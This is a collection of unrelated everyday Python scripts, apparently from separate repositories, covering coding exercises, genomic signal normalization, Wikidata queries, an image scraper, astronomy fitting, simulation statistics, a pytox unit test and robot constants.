    menu_main.mainloop(screen)

start_menu()


# Kiritilgan sonlar orasidan qancha ikki raqami borligini aniqlash dasturi
n = int(input("Massiv elementlar sonini kiriting  "))
a=[] ; k =0 ; z = 0
for i in range(n):
    a.append(int(input(f'son[{i}] = ')))
    while a[i]>=1 :
        k=a[i]%10
        a[i] = a[i]//10
        if k==2 :
            z+=1
print(z)

Sodda dasturlar/Kiritilgan sonlar orasidan qancha ikki borligini aniqlash dasturi.py


class CompletionStatus():
    NOT_STARTED = 'N'
    IN_PROGRESS = 'I'
    ON_HOLD = 'O'
    COMPLETE = 'C'

    CHOICES = (
        (NOT_STARTED, 'Not Started'),
        (IN_PROGRESS, 'In Progress'),
        (ON_HOLD, 'On Hold'),
        (COMPLETE, 'Complete'),
    )

class OwnershipStatus():
    WANTS = 'W'
    BORROWS = 'B'
    OWNES_PHYSICAL = 'P'
    OWNES_VIRTUAL = 'V'

    CHOICES = (
        (WANTS, 'Wants'),
        (BORROWS, 'Borrows'),
        (OWNES_PHYSICAL, 'Owns Physically'),
        (OWNES_VIRTUAL, 'Owns Virtually'),
    )

class ObjectsByStatus():
    def __init__(self, status, object_list, object_total):
        self.status = status
        self.object_list = object_list
        try:
            self.status_percentage = int(
                100.0 * (float(self.object_list.count())/float(object_total))
            )
        except ZeroDivisionError:
            self.status_percentage = 0

    def __eq__(self, other):
        return (isinstance(other, self.__class__)
            and self.__dict__ == other.__dict__)

def get_all_objects_by_status(objects, status_class, object_by_status_method):
    objects_by_status_list = []
    object_total = objects.count()

    for status in status_class.CHOICES:
        objects_by_status_list.append(
            ObjectsByStatus(
                status=status[1],
                object_list=object_by_status_method(status[0]),
                object_total=object_total
            )
        )
    return tuple(objects_by_status_list)


#!/home/yangz6/Software/miniconda3/envs/base2/bin/python
# Programmer : Yang Zhang
# Contact: yangz6@andrew.cmu.edu
# Last-modified: 09 Mar 2023 10:03:08 PM

import os,sys,argparse
from bx.bbi.bigwig_file import BigWigFile
from tqdm import tqdm
import numpy as np
from sklearn.preprocessing import PowerTransformer

def parse_arg():
    ''' This Function Parse the Argument '''
    p=argparse.ArgumentParser( description = 'Example: %(prog)s -h', epilog='Library dependency :')
    p.add_argument('-v','--version',action='version',version='%(prog)s 0.1')
    p.add_argument('--bw',type=str,dest="bw",nargs="+",help="bigwig file list")
    p.add_argument('--label',type=str,dest="label",nargs="+",help="label for the bigwig files")
    p.add_argument('--bin',type=str,dest="bin",help="bin annotation file")
    p.add_argument('--cell_name',type=str,dest="cell_name",help="cell name to extract in the bin annotation file, only rows in the fifth column of the bin annotation matching the cell_name will be extracted")
    p.add_argument('--original',type=str,dest="original",help="original signal without normalization")
    p.add_argument('--output',type=str,dest="output",help="output file")
    if len(sys.argv) < 2:
        print(p.print_help())
        exit(1)
    return p.parse_args()

class Bin(object):
    def __init__(self, chrom, start, end, idx):
        self.chrom = chrom
        self.start = start
        self.end = end
        self.bin_idx = idx
        #
        self.anno = {}
        self.normalized_anno = {}
    def __repr__(self):
        return "%s\t%d\t%d\t%s" % (self.chrom, self.start, self.end, self.bin_idx)
    def cal_mean_signal(self, bw, label):
        '''get the mean signal value within region'''
        array = np.array([])
        signal = bw.get_as_array(bytes(self.chrom, 'utf-8'), self.start, self.end)
        if signal is not None:
            array = np.append(array, signal)
        if len(array) < 1: # resolve the warning issue with numpy when array with zero element
            value = np.NAN
        else:
            value = np.nanmean(array)
        #
        self.anno[label] = value

def parse_bin_anno(filename, cell_name):
    region_list = []
    with open(filename, 'r') as fin:
        for line in fin:
            if line.strip().startswith('#') or line.strip() == '':
                continue
            row = line.strip().split('\t')
            chrom = row[0]
            start = int(row[1])
            end = int(row[2])
            bin_idx = row[3]
            cell_label = row[4]
            if cell_label == cell_name:
                region_list.append(Bin(chrom, start, end, bin_idx))
    return region_list

def main():
    global args
    args = parse_arg()
    # check parameters
    try:
        assert len(args.bw) == len(args.label)
    except AssertionError:
        print("length of bigwig files and label does not match", file = sys.stderr)
        exit(1)
    bw_list = []
    label_list = []
    for nn in range(len(args.bw)):
        bw_list.append(BigWigFile(open(args.bw[nn], 'rb')))
        label_list.append(args.label[nn])
    # parse bin annotation
    region_list = parse_bin_anno(args.bin, args.cell_name)
    print("Parse %d region" % (len(region_list)), file = sys.stdout)
    # annotate bin with bigwig files
    for nn in tqdm(range(len(region_list))):
        region = region_list[nn]
        for bw,label in zip(bw_list, label_list):
            region.cal_mean_signal(bw, label)
    print("calculate mean signal per bin done", file = sys.stdout)
    # power transformation
    for label in label_list:
        value_list = []
        idx_list = []
        for idx in tqdm(range(len(region_list))):
            idx_list.append(idx)
            region = region_list[idx]
            value = region.anno.get(label, np.NAN)
            value_list.append(value)
        value_list = np.array(value_list).reshape(-1, 1)
        pt = PowerTransformer(method='yeo-johnson', standardize=True)
        value_list_transformed = pt.fit_transform(value_list)
        assert value_list.shape[0] == value_list_transformed.shape[0]
        for idx,transformed_value in zip(idx_list, value_list_transformed.flatten()):
            region_list[idx].normalized_anno[label] = transformed_value
    print("transformation done", file = sys.stdout)
    # report
    if args.original is not None:
        with open(args.original, 'w') as fout:
            print('\t'.join(label_list), file = fout)
            for region in region_list:
                array = []
                for label  in label_list:
                    value = region.anno[label]
                    if np.isnan(value):
                        value = 'NA'
                    else:
                        value = '{:.6f}'.format(value)
                    array.append(value)
                print('\t'.join(array), file = fout)
    with open(args.output, 'w') as fout:
        print('\t'.join(label_list), file = fout)
        for region in region_list:
            array = []
            for label in label_list:
                value = region.normalized_anno[label]
                if np.isnan(value):
                    value = 'NA'
                else:
                    value = '{:.6f}'.format(value)
                array.append(value)
            print('\t'.join(array), file = fout)

if __name__=="__main__":
    main()


#!C:/Python27/python
from os import *
from cgi import *
import cgitb
from lib.Entity import Entity

# cgitb.enable()

class Category(Entity):
    def __init__(self, *qInfo, **kwargs):
        super(Category, self).__init__()
        for dictionary in qInfo:
            for key in dictionary:
                setattr(self, 'c_' + key, dictionary[key])

        for key in kwargs:
            setattr(self, key, kwargs[key])

    def sanitizeParams(self):
        return {k[2:]: v
            for k, v in self.__dict__.items()
            if k.startswith('c_')
        }

    def getCategories(self):
        """ insert new question """
        query = ("SELECT c_id, c_text FROM category WHERE active = 1")
        return self.executeQuery(query, ())

    def test(self):
        return self.__dict__.items()

def main():
    info = { }
    ctype="text/html"
    print("Content-Type: %s; charset=utf-8\n\n" % ctype)
    print(Category(info).getCategories())

if __name__ == '__main__':
        main()


import sys
from typing import List, NamedTuple

from Queries import RQSS_QUERIES
from SPARQLWrapper import JSON, SPARQLWrapper

class MultilingualMetadataResult(NamedTuple):
    property: str
    num_non_en_label: int
    num_non_en_comment: int

    def __repr__(self):
        return "Property {0} has {1} non-English labels and {2} non-English comments".format(
            self.property,
            self.num_non_en_label,
            self.num_non_en_comment)

class MultilingualMetadataChecker:
    results: List[MultilingualMetadataResult] = None
    _ref_properties: List[str]

    def __init__(self, ref_properties: List[str]):
        self._ref_properties = ref_properties

    def check_multilingual_existance_from_Wikdiata(self) -> List[MultilingualMetadataResult]:
        self.results = []
        user_agent = "RQSSFramework Python/%s.%s" % (
            sys.version_info[0], sys.version_info[1])
        sparql = SPARQLWrapper(
            "https://query.wikidata.org/sparql", agent=user_agent)
        for prop in self._ref_properties:
            print('\t Getting number of non-English labels of reference property: ', prop)
            sparql.setQuery(
                RQSS_QUERIES['get_property_non_en_labels_wikidata'].format(prop))
            sparql.setReturnFormat(JSON)
            try:
                results = sparql.query().convert()
                for result in results["results"]["bindings"]:
                    value = result["to_ret"]["value"]
                    if value.isdigit():
                        num_non_en_labels = int(value)
                    else:
                        num_non_en_labels = 0
            except Exception as e:
                print('\t\t ERROR: ', e)
                continue
            print('\t Getting number of non-English comments of reference property: ', prop)
            sparql.setQuery(
                RQSS_QUERIES['get_property_non_en_comments_wikidata'].format(prop))
            sparql.setReturnFormat(JSON)
            try:
                results = sparql.query().convert()
                for result in results["results"]["bindings"]:
                    value = result["to_ret"]["value"]
                    if value.isdigit():
                        num_non_en_comments = int(value)
                    else:
                        num_non_en_comments = 0
            except Exception as e:
                print('\t\t ERROR: ', e)
                continue
            self.results.append(MultilingualMetadataResult(
                prop, num_non_en_labels, num_non_en_comments))
        return self.results

    @property
    def multilingual_labeling_score(self):
        if self.results is not None:
            return len([i for i in self.results if i.num_non_en_label > 0])/len(self.results) if len(self.results) > 0 else 1
        return None

    @property
    def multilingual_commenting_score(self):
        if self.results is not None:
            return len([i for i in self.results if i.num_non_en_comment > 0])/len(self.results) if len(self.results) > 0 else 1
        return None

    def __repr__(self):
        if self.results is None:
            return 'Results are not computed'
        return """num of properties,multilingual labeling score,multilingual commenting score
{0},{1},{2}""".format(
            len(self.results),
            self.multilingual_labeling_score,
            self.multilingual_commenting_score)

    def print_results(self):
        """
        print self.result if it is already computed
        """
        if self.results is None:
            print('Results are not computed')
            return
        for r in self.results:
            print(r)


# 爬取论坛精选 要求返回作品类型
import os
import re

import parsel
import requests

url = 'http://www.fengniao.com/'
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.75'
}
response = requests.get(url=url, headers=headers)
response.encoding = 'GBK'
html = parsel.Selector(response.text)
lis = html.xpath('//*[@id="bbsPart"]/dl/dd/div[1]/ul/li')
for li in lis:
    href = li.xpath('./div/a/@href').get()
    title = li.xpath('./div/div[1]/a/@title').get()
    category = li.xpath('./div/div[2]/a[1]/@title').get()
    pattern = re.compile(u'[\u4e00-\u9fa5]+')
    t_title = re.findall(pattern, title)
    path = 'C:/Users/AKA阿飞/Desktop/蜂鸟网论坛经典/' + t_title[0] + '-' + category + '/'
    print(f'开始下载{title}')
    if os.path.exists(path) == False:
        os.mkdir(path)
    peopleName = li.xpath('./div/div[2]/div/a/@title').get()
    img_html = parsel.Selector(requests.get(url=href, headers=headers).text)
    imgs = img_html.xpath(f'//*[@username="{peopleName}"]')
    i = 0
    for img1 in imgs:
        img_srcs = img1.xpath('./div[@class="aMain"]/div[@class="cont"]/div[@class="img"]')
        for img2 in img_srcs:
            exifBox = img1.xpath('./div[@class="aMain"]/dl[@class="exifBox"]/dd/span//text()').extract()
            if len(exifBox) != 0:
                with open(path + f'{i}.txt', mode='wb') as f1:
                    for k in exifBox:
                        f1.write((k + '\n').encode())
            with open(path + f'{i}.jpg', mode='wb') as f:
                img_src = img2.xpath('./a/img/@src').get()
                img_download = requests.get(url=img_src, headers=headers).content
                f.write(img_download)
                i += 1


"""
This script is placed in the public domain.

Author: Douglas Burke
Date: November 2 2012

For more information see
   http://dougburke.github.com/research-blog/posts/2012-11-02-checks.html

"""

def dofit(elo=0.5, ehi=7.0, fixbgnd=True):
    """Fit group.pi with an absorbed APEC model over the
    energy range elo to ehi (in keV) using the Cash statistic.
    The background is modeled as a powerlaw + thermal model
    (both absorbed), fitted separately, then fixed before
    fitting the source (unless fixbgnd is False).
    """

    # Remove any settings
    clean()
    set_stat('cash')
    set_method('simplex')

    print("***")
    print("*** Fix bgnd before source fitting: {}".format(fixbgnd))
    print("*** Energy range: {} to {} keV".format(elo, ehi))
    print("***")

    load_data('group.pi')
    notice(elo, ehi)

    print("*** Fitting background")
    set_bkg_model(xsphabs.galabs * powlaw1d.bgnd)
    galabs.nh = 0.07
    freeze(galabs)

    fit_bkg()
    fit_bkg()

    set_bkg_model(galabs * (bgnd + xsmekal.gal))
    gal.kt = 0.2

    fit_bkg()
    fit_bkg()

    thaw(gal.abundanc)

    fit_bkg()
    fit_bkg()

    if fixbgnd:
        print("*** Freezing background")
        freeze(galabs)
        freeze(bgnd)
        freeze(gal)

    print("*** Fitting source")
    set_source(galabs * xsmekal.grp)
    grp.redshift = 0.069

    fit()
    fit()
    conf()

    print("*** now allowing metallicity to vary")
    thaw(grp.abundanc)
    fit()
    fit()
    conf()

def doplot():
    """Plot up the source and background fits and tweak the
    arrangement.
    """

    # Source + fit on the top plot, Background + its fit on the bottom
    plot("fit", "bkgfit")

    # Remove the vertical gap between the two plots
    adjust_grid_ygap(0)

    # Change properties in both plots at once
    current_plot('all')

    # Remove the plot titles
    set_plot_title('')

    # Connect the data with lines
    set_curve('crv1', ['line.style', 'solid', 'symbol.style', 'none'])

    # Move the X-axis on the top plot to the top
    current_plot('plot1')
    cid = ChipsId()
    cid.axis = 'ax1'
    cid.coord_sys = PLOT_NORM
    move_axis(cid, 0, 1, 0)

    # Move the label closer to the plot to avoid it falling off the top
    set_xaxis(['offset.perpendicular', 30])

    # Add labels to each plot in the top-right corner
    lopts = ['size', 16, 'coord_sys', PLOT_NORM, 'halign', 1]
    add_label(0.9, 0.9, 'Source', lopts)

    current_window('win2')
    add_label(0.9, 0.9, 'Background', lopts)


__author__ = "Christian Kongsgaard"
__license__ = 'MIT'

# -------------------------------------------------------------------------------------------------------------------- #
# IMPORTS

# Modules
import matplotlib.pyplot as plt
import numpy as np

# RiBuild Modules
from delphin_6_automation.database_interactions import mongo_setup
from delphin_6_automation.database_interactions.auth import auth_dict
from delphin_6_automation.database_interactions.db_templates import delphin_entry

# -------------------------------------------------------------------------------------------------------------------- #
# RIBuild

server = mongo_setup.global_init(auth_dict)

filtered_entries = delphin_entry.Delphin.objects(simulated__exists=True).only('simulation_time')
gt_250 = filtered_entries.filter(simulation_time__gt=15000)
gt_300 = filtered_entries.filter(simulation_time__gt=300*60)

def get_time(projects):
    time = []
    for p in projects:
        time.append(p.simulation_time)

    return np.array(time)/60

sim_time = get_time(filtered_entries)

print()
print('STATS')
print(f'\tCount: {len(sim_time)}')
print(f'\tMin: {np.min(sim_time):.02f}')
print(f'\tQ25: {np.quantile(sim_time, 0.25):.02f}')
print(f'\tMean: {np.mean(sim_time):.02f}')
print(f'\tMedian: {np.quantile(sim_time, 0.50):.02f}')
print(f'\tQ75: {np.quantile(sim_time, 0.75):.02f}')
print(f'\tQ95: {np.quantile(sim_time, 0.95):.02f}')
print(f'\tMax: {np.max(sim_time):.02f}')
print('')
print(f'\tSimulations that takes longer than 250min: {gt_250.count()} = '
      f'{gt_250.count()/filtered_entries.count()*100:.02f}%')
print(f'\tSimulations that takes longer than 300min: {gt_300.count()} = '
      f'{gt_300.count()}')
print('')

months = 4
jobs_par = 300

"""
print('PREDICTIONS')
print('\tAverage:')
print(f'\t- (24h x 60min) / Simulation Time x {jobs_par} parallel x ({months} months x 30days): '
      f'{24*60/np.mean(sim_time)*jobs_par*months*30:.01f} simulations')
print('')
"""

hist, edges = np.histogram(sim_time, density=True, bins=100)
dx = edges[1] - edges[0]
cdf = np.cumsum(hist) * dx

plt.figure(figsize=(10, 10))
#plt.hist(sim_time, bins=50, )
plt.plot(edges[1:], cdf)
plt.axvline(x=np.mean(sim_time), linestyle=':', color='k', label='Mean')
plt.axvline(x=np.median(sim_time), linestyle='--', color='k', label='Median')
plt.title('Simulation Time')
plt.xlabel('Simulation Time in Minutes')
plt.ylabel('Ratio of Simulations')
plt.legend()
plt.xlim(-5, 260)
plt.show()

mongo_setup.global_end_ssh(server)


import unittest

from pytox import core

class ToxOptionsTest(unittest.TestCase):
    def test_options(self):
        opts = core.ToxOptions()
        self.assertTrue(opts.ipv6_enabled)
        opts.ipv6_enabled = False
        self.assertFalse(opts.ipv6_enabled)

    def test_use_after_free(self):
        with core.ToxOptions() as opts:
            saved_opts = opts
        with self.assertRaises(core.UseAfterFreeException):
            print(saved_opts.ipv6_enabled)

if __name__ == "__main__":
    unittest.main()


#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@File    :   832. 翻转图像.py
@Contact :   muyisanshuiliang@hotmail.com

@Modify Time      @Author               @Version
------------      -------               --------
2021/2/24 15:43   muyisanshuiliang      3.9
@Desciption:
---------------------------------------------------------------
给定一个二进制矩阵 A，我们想先水平翻转图像，然后反转图像并返回结果。
水平翻转图片就是将图片的每一行都进行翻转，即逆序。例如，水平翻转 [1, 1, 0] 的结果是 [0, 1, 1]。
反转图片的意思是图片中的 0 全部被 1 替换， 1 全部被 0 替换。例如，反转 [0, 1, 1] 的结果是 [1, 0, 0]。

示例 1：
输入：[[1,1,0],[1,0,1],[0,0,0]]
输出：[[1,0,0],[0,1,0],[1,1,1]]
解释：首先翻转每一行: [[0,1,1],[1,0,1],[0,0,0]]；
     然后反转图片: [[1,0,0],[0,1,0],[1,1,1]]

示例 2：
输入：[[1,1,0,0],[1,0,0,1],[0,1,1,1],[1,0,1,0]]
输出：[[1,1,0,0],[0,1,1,0],[0,0,0,1],[1,0,1,0]]
解释：首先翻转每一行: [[0,0,1,1],[1,0,0,1],[1,1,1,0],[0,1,0,1]]；
     然后反转图片: [[1,1,0,0],[0,1,1,0],[0,0,0,1],[1,0,1,0]]

提示：
1 <= A.length = A[0].length <= 20
0 <= A[i][j] <= 1
'''

# import lib
from typing import List

class Solution:
    def flipAndInvertImage(self, A: List[List[int]]) -> List[List[int]]:

        # 解法一：笨办法
        # result = []
        # for y in range(len(A)):
        #     x_l = list(range(len(A[y])))
        #     x_l.reverse()
        #     x_result = []
        #     for x in x_l:
        #         if A[y][x] == 1:
        #             x_result.append(0)
        #         else:
        #             x_result.append(1)
        #     result.append(x_result)
        # return result

        # 解法二：先翻转，再取值
        # rows = len(A)
        # cols = len(A[0])
        # for row in range(rows):
        #     A[row] = A[row][::-1]
        #     for col in range(cols):
        #         A[row][col] ^= 1
        # return A

        # 解法三：翻转的同时修改数值，A, B = 1 - B, 1 - A
        # N = len(A)
        # for i in range(N):
        #     for j in range((N + 1) // 2):
        #         A[i][j], A[i][N - 1 - j] = 1 - A[i][N - 1 - j], 1 - A[i][j]
        # return A

        # 解法四：额外的存储空间
        # M, N = len(A), len(A[0])
        # res = [[0] * N for _ in range(M)]
        # for i in range(M):
        #     for j in range(N):
        #         res[i][j] = 1 - A[i][N - 1 - j]
        # return res

        return [[1 - A[i][len(A) - 1 - j] for j in range(len(A[i]))] for i in range(len(A))]

l = list(range(5))
l.reverse()
print(l)

solution = Solution()
print(solution.flipAndInvertImage([[1, 1, 0, 0], [1, 0, 0, 1], [0, 1, 1, 1], [1, 0, 1, 0]]))
print(solution.flipAndInvertImage([[1, 1, 0], [1, 0, 1], [0, 0, 0]]))


#2566

max_list = []
ver_index_list = []
for i in range(9):
  a = list(map(int,input().split()))
  a_max = max(a)
  max_list.append(a_max)
  ver_index = a.index(a_max)
  ver_index_list.append(ver_index)

allmax = max(max_list)
wid_index = max_list.index(allmax)

print(allmax)
print(wid_index+1, ver_index_list[wid_index]+1)


# Daniel Graves
# MACResultDiff.py
#
# Script takes two vectorized outputs of HMACTool and prints classification-wise difference

import sys
import getopt

def main(argv):
  #usage = "usage: MACResultDiff.py -i <input1,input2>\n\n"
  usage = "usage: MACResultDiff.py -1 input1 -2 input2\n\n"
  input1 = ''
  input2 = ''

  # parse command line arguments
  try:
    opts, args = getopt.getopt(argv, "1:2:", ["input1=", "input2="])
  except getopt.GetoptError:
    sys.stderr.write(usage)
    sys.exit(1)
  for opt, arg in opts:
    if opt in ("-1", "--input1"):
      input1 = arg
    elif opt in ("-2", "--input2"):
      input2 = arg
    else:
      sys.stderr.write(usage)
      sys.exit(2)

  # check for arguments
  if (not input1) or (not input2):
    sys.stderr.write(usage)
    sys.exit(3)

  # open input files
  fin1 = open(input1, "r")
  fin2 = open(input2, "r")

  # check headers
  header1 = [int(i) for i in fin1.readline().split()]
  header2 = [int(i) for i in fin2.readline().split()]
  if header1[1] != header2[1]:
    sys.stderr.write("error: data sizes do not match\n")
    sys.exit(4)
  elif header1[2] != header2[2]:
    sys.stderr.write("error: data dimensions do not match\n")
    sys.exit(5)
  elif header1[0] != header2[0]:
    sys.stderr.write("error: cluster counts must match in order to run difference\n")
    sys.exit(6)

  # ignore mode lines (assume roughly equal although slight differences are okay)
  for i in range(header1[0]):
    fin1.readline()
    fin2.readline()

  # count number of different classifications
  count = 0
  for i in range(header1[1]):
    value1 = int(fin1.readline().split()[0])
    value2 = int(fin2.readline().split()[0])
    if value1 != value2:
      count = count + 1

  # print difference
  pdiff = 100 * count / header1[1]
  print("difference =", pdiff, "%")

if __name__ == "__main__":
  main(sys.argv[1:])


GOAL_RESULT_TIMEOUT = 33

ACTION_CLIENT_STATUSES = {
    0: "PENDING",
    1: "ACTIVE",
    2: "PREEMPTED",
    3: "SUCCEEDED",
    4: "ABORTED",
    5: "REJECTED",
    6: "PREEMPTING",
    7: "RECALLING",
    8: "RECALLED",
    9: "LOST"
}

ROTATE_SPEED = 20
ROTATE_ANGLE = 280

NUM_CIRCLES_TO_DETECT = 7

NUM_CYLINDERS_TO_APPROACH = 3

NUM_CYLINDERS = 4

ARM_POSITION_1 = [-1.7, 2.5, -2.5, -1.5, -0.1, 0.4]
ARM_POSITION_2 = [1, 0.5, 0.1, 0.5, 1.4, 0]
ARM_POSITION_3 = [0.2, 1.5, 0.4, 1.5, 0.4, 1]